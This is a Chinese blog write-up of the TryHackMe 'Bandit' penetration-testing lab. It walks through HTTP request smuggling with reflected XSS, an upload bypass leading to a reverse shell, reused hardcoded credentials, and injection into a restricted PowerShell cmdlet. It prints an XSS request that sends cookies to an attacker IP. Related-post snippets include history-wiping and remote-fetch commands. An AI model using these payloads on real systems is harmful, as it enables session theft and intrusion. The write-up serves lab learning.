TryHackMe - Pentest - Bandit

最新推荐文章于 2024-09-02 20:40:07 发布
最新推荐文章于 2024-09-02 20:40:07 发布
阅读量1k 收藏 20
点赞数 24
分类专栏： 我的网络安全之旅-TryHackMe 文章标签： TryHackMe 渗透测试 Web 配置错误 易受攻击的应用
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_54704239/article/details/137932467
版权

Bandit

在遥远的未来的元宇宙中，一个名叫杰克剥削者的臭名昭著的网络犯罪分子被抓获，试图从国王的加密钱包中窃取。作为惩罚，他被迫参加多个沙盒游戏。你能帮助他逃脱，远离国王的军队并找到所有的旗帜吗？

为了帮助剥削者杰克，你需要通知他你正在接受挑战！

思路

整体来看比较偏简单，没有什么太大的技术难点，基础中的基础，就是由于公共实验环境的缘故，靶机可能会出现一些问题导致无法正常继续需要重置。

首先通过web的http请求走私漏洞搭配反射xss窃取信息，然后绕过限制导致任意文件上传从而RCE，通过对web服务器进行简单的本地系统信息收集，我们可以读取一组新的凭据用于通过winrm登录到内网windows机器上，这组凭据直接具有windows的本地管理员权限

最终我们发现在windows上我们处于一个受限的shell环境，最后发现一个自定义cmdlet存在注入漏洞，导致rce逃逸出受限环境

就此所有机器向我们妥协

外部信息收集

端口扫描

在这里插入图片描述

80端口的服务可以找到个http走私

在这里插入图片描述

Web枚举

gobuster

在这里插入图片描述

在80端口中，有一个reflected xss

在这里插入图片描述

HTTP请求走私 + XSS

web除了一个xss还有登录页面，结合目前的信息，很容易联想到http走私+xss窃取cookie进入后台

http请求走私没有找到poc，但是很容易就试出来了，CL-TE

在这里插入图片描述

借助xss把cookie弹到我们这边来

GET /?filter="/><script>new+Image().src%3d'http%3a//10.50.127.163%3a8000/%3fc%3d'%2bdocument.cookie</script> HTTP/1.1
foo:

它会到来

在这里插入图片描述

Foothold

带着cookie访问upload.php

在这里插入图片描述

这里简单一测就可以测出来，限制图片类型和文件大小

通过修改MIME类型和缩短payload就可以上传我们的php payload

在这里插入图片描述

直接访问发现没访问到

在这里插入图片描述

根据祖传打靶经验，就可以联想到MD5文件名

在这里插入图片描述

在这里插入图片描述

基操基操

用nc直接连我们的攻击机发现是成功的，直接nc常规反向shell

在这里插入图片描述

结果发现过不来，一下就断了，直接上msf

在这里插入图片描述

curl上传

在这里插入图片描述

给权限然后运行，getshell

在这里插入图片描述

Docker逃逸

在auth.php中看到了登录的凭据，先保存下来

if ($user === 'safeadmin' && $pass === 'HardcodedMeansUnguessableRight') {
        return TRUE;
    }

在容器中翻了个遍，什么也没找着

最后尝试刚刚找到的凭据登录宿主机ssh发现可行

在这里插入图片描述

在这里插入图片描述

内网信息收集

.10端口扫描

查看/etc/hosts可以发现.10机器

在这里插入图片描述

传个nmap过去快速扫一下端口

在这里插入图片描述

最后我发现不需要建立隧道，可以直接访问到.10机器，那么就不考虑sshuttle

.105本地信息收集

我发现了机器上存在powershell，safeadmin用户下存在ConsoleHost_history.txt,并且在ubuntu用户下发现了ConsoleHost_history.txt

但是很不幸的是，可能受到公共实验环境的影响，恰好密码变量定义那一行被覆盖了，万般无奈之下只能有请wp的帮助

在这里插入图片描述

safeuserHelpDesk:Passw0rd

.10权限提升

现在我们可以通过复制粘贴登录进.10机器，通过whoami，我发现了该账户是本地管理员

在这里插入图片描述

很遗憾的是我们进入了一个受限的环境，大多数命令都无法使用

在这里插入图片描述

通过get-command我们可以发现仅有的cmdlet

在这里插入图片描述

Get-ServicesApplication这个cmdlet会输出所有服务名

在这里插入图片描述

通过get-help我们发现它还有一个filter参数

在这里插入图片描述

当我们尝试在filter参数中注入特殊字符时，我们就打开了突破的大门

在这里插入图片描述

最后的rce也很常规，懒得getshell了，拿flag走人

在这里插入图片描述

Sugobet
关注
专栏目录
VnlnHub GeminiInc-Pentest
weixin_45682839的博客
10-22 1511
涉及知识包括：端口服务探测、开源框架代码利用、XSS、组件漏洞利用、SSRF、任意文件读取、linux本地提权、环境变量修改等。
VnlnHub GeminiInc-Pentest-v2
weixin_45682839的博客
10-26 576
涉及知识：主机扫描、端口服务探测、WEB信息收集、敏感目录探测、暴力破解、Anti CSRF Token、框架漏洞利用、加解密、网站防护绕过、linux本地提权、redis提权等。
Vulnhub-Gemini-Pentest-v1
weixin_44805159的博客
04-18 431
其中date命令没有写绝对路径，我们可以使用Linux环境变量提权，使用listinfo命令去执行我们编译的恶意date脚本，从而达到提权的目的。尝试读取shadow文件失败，读取root和gemini1下的bash_history失败，最后尝试读取/home/gemini1下的私钥文件。以上信息说明此程序为：这是一个内部web应用程序，旨在让员工查看他们的个人资料详细信息，并允许他们将自己的详细信息导出为PDF格式。功能点不多，登录退出，修改个人信息，导出文件等功能。将私钥文件保存为id_rsa文件。
Gemini-Pentest v2靶机打靶过程及思路
qq_52610024的博客
05-24 410
5.成功访问命令执行页面,但是过滤了空格符号,使用tab空格符号绕过，对应编号为%09，尝试nc命令失败。wgethttp//10.0.2.25/usr/bin/nc-O/tmp/nc-O意思是输入到目标目录。2.查看源码发现会使用token来校验，使用dirb来进行路径爆破，在registration.php。在md5hashing.net网站破解得到管理员账号密码，登录进去发现一个命令执行选项，页面下存在注册页面，还有activate页面可以找到激活码，开始进行激活码爆破。...
Gemini-Pentest靶机打靶过程及思路
qq_52610024的博客
05-21 368
发现gemini2账号下存在/bin/bash执行权限，读取/var/www/html/tese2/inc/setting.php下的数据库账号密码。5.读取到私钥信息，读取authorized_keys,发现信息提示可以使用公钥私钥来登录，再次读取id_rsa.pub公钥文件，，发现pdf界面下使用的时候wkhtmltppdf组件，可以将html代码转换成pdf，搜索发现。可以加载js代码，存在xss漏洞，看到url地址里面存在uid数字，测试但是不存在sql注入。发现最终显示成功，读取到目标文件内容。.
19、Gemini-Pentest-v2
DamnVanish的博客
09-02 895
算是比较麻烦的靶场，无回显的rce并且是不太清楚的环境的情况下也不知道什么命令可以执行。
Tryhackme-ice
个人博客
09-24 205
ice 文章目录iceTask1 ConnectTask2 ReconTask3 Gain AccessTask4 EscalateTask5 LootingTask6 Post-ExploitationTask7 Extra CreditTask7 Extra Credit Task1 Connect 1.Connect to our network using OpenVPN. Here is a mini walkthrough of connecting: Go to your access pag
Tryhackme-Starters
个人博客
11-03 815
Starters 文章目录StartersRickle RickTask1 Pickle RickMr Rebot CTFTask1 Connect to our networkTask2 Hack the machinetomghostTask1 FlagsDogcatTask1 DogcatGit HappensTask1 Capture the FlagNaxTask1 FlagThe MarketplaceTask1 The MarketplacekibaTask1 Flags Rickle
web-for-pentest 笔记
yuhongkui的专栏
12-19 393
XSS Example1 看到Hello hacker，然后url中有name=hacker，换个字符试下，果然，是php获取$_GET[‘name’]的值，然后输出出来，和自己最初学习xss时练习的一样。试下<script>alert('xss')</script>,成功弹窗 Example2 先输入上面的最基本的payload试下，发现被过滤了，那就构造<...
kali-linux-web-pentest-cookbook
11-21
《Kali Linux Web Penetration Testing Cookbook》是一本专注于利用Kali Linux进行Web应用渗透测试的专业技术书籍。Kali Linux，前身为BackTrack，是全球安全研究人员广泛使用的开源操作系统，特别设计用于网络安全...
web-pentest-scripts-nicholaspontin：由GitHub Classroom创建的web-pentest-scripts-nicholaspontin
02-17
Web Pentest脚本 作者 名字：尼古拉斯·庞廷 电子邮件： 统一编号：napontin 环境概况 对于我的笔试环境，我选择使用教授推荐的基本工具。 这些工具包括burp社区版和google chrome。 为了启动我的渗透测试环境，我...
Python-Pentest-Tools:Python Pentest工具
05-12
Python Pentest工具 谨慎使用，由工具造成的任何损坏是您的全部责任
渗透测试 - pentest-master
06-29
渗透测试 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 python -c 'import pty; pty.spawn("/bin/sh")' ...
【水果识别】基于matlab GUI形态学水果大小识别【含Matlab源码 920期】.md
10-15
CSDN Matlab武动乾坤上传的资料均有对应的代码，代码均可运行，亲测可用，适合小白； 1、代码压缩包内容 主函数：main.m； 调用函数：其他m文件；无需运行 运行结果效果图； 2、代码运行版本 Matlab 2019b；若运行有误，根据提示修改；若不会，私信博主； 3、运行操作步骤 步骤一：将所有文件放到Matlab的当前文件夹中； 步骤二：双击打开main.m文件； 步骤三：点击运行，等程序运行完得到结果； 4、仿真咨询 如需其他服务，可私信博主或扫描博客文章底部QQ名片； 4.1 博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 图像识别：表盘识别、车道线识别、车牌识别、答题卡识别、电器识别、跌倒检测、动物识别、发票识别、服装识别、汉字识别、红绿灯识别、火灾检测、疾病分类、交通标志牌识别、口罩识别、裂缝识别、目标跟踪、疲劳检测、身份证识别、人民币识别、数字字母识别、手势识别、树叶识别、水果分级、条形码识别、瑕疵检测、芯片识别、指纹识别
【瑕疵检测】基于matlab瓶盖瑕疵检测【含Matlab源码 730期】.md
10-15
CSDN Matlab武动乾坤上传的资料均有对应的代码，代码均可运行，亲测可用，适合小白； 1、代码压缩包内容 主函数：main.m； 调用函数：其他m文件；无需运行 运行结果效果图； 2、代码运行版本 Matlab 2019b；若运行有误，根据提示修改；若不会，私信博主； 3、运行操作步骤 步骤一：将所有文件放到Matlab的当前文件夹中； 步骤二：双击打开main.m文件； 步骤三：点击运行，等程序运行完得到结果； 4、仿真咨询 如需其他服务，可私信博主或扫描博客文章底部QQ名片； 4.1 博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 图像识别：表盘识别、车道线识别、车牌识别、答题卡识别、电器识别、跌倒检测、动物识别、发票识别、服装识别、汉字识别、红绿灯识别、火灾检测、疾病分类、交通标志牌识别、口罩识别、裂缝识别、目标跟踪、疲劳检测、身份证识别、人民币识别、数字字母识别、手势识别、树叶识别、水果分级、条形码识别、瑕疵检测、芯片识别、指纹识别
Shapely-1.6.4.post2-cp35-cp35m-win_amd64.whl
10-15
Shapely-1.6.4.post2-cp35-cp35m-win_amd64.whl
Apache Flink CEP复杂事件处理详解及实战案例
10-15
内容概要：本文详细介绍了Apache Flink的FlinkCEP模块，讲解了其安装配置、事件流处理基础及其应用场景，其中包括电商欺诈检测、网络监控、实时交易系统的模式匹配以及社交媒体趋势分析的具体实现。通过多个实战示例演示了如何利用正则表达式定义复杂模式并在大数据流中识别有用的事件序列，适用于需要从实时数据流中挖掘价值的多种场景。 适用人群：具备一定大数据处理经验的研发人员、架构师以及相关领域的研究人员和技术爱好者。 使用场景及目标：针对金融反欺诈、网络安全、高频交易、物联网数据分析等领域，实现复杂事件模式的实时监测和处理。 其他说明：本文提供了大量的实践代码样本，旨在引导读者掌握Flink CEP的实际应用技巧。
SSM+JSP在线网课管理系统答辩PPT.pptx
最新发布
10-15
计算机毕业设计答辩PPT
稳压罐sw16_三维3D设计图纸.zip
10-15
稳压罐sw16_三维3D设计图纸.zip
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值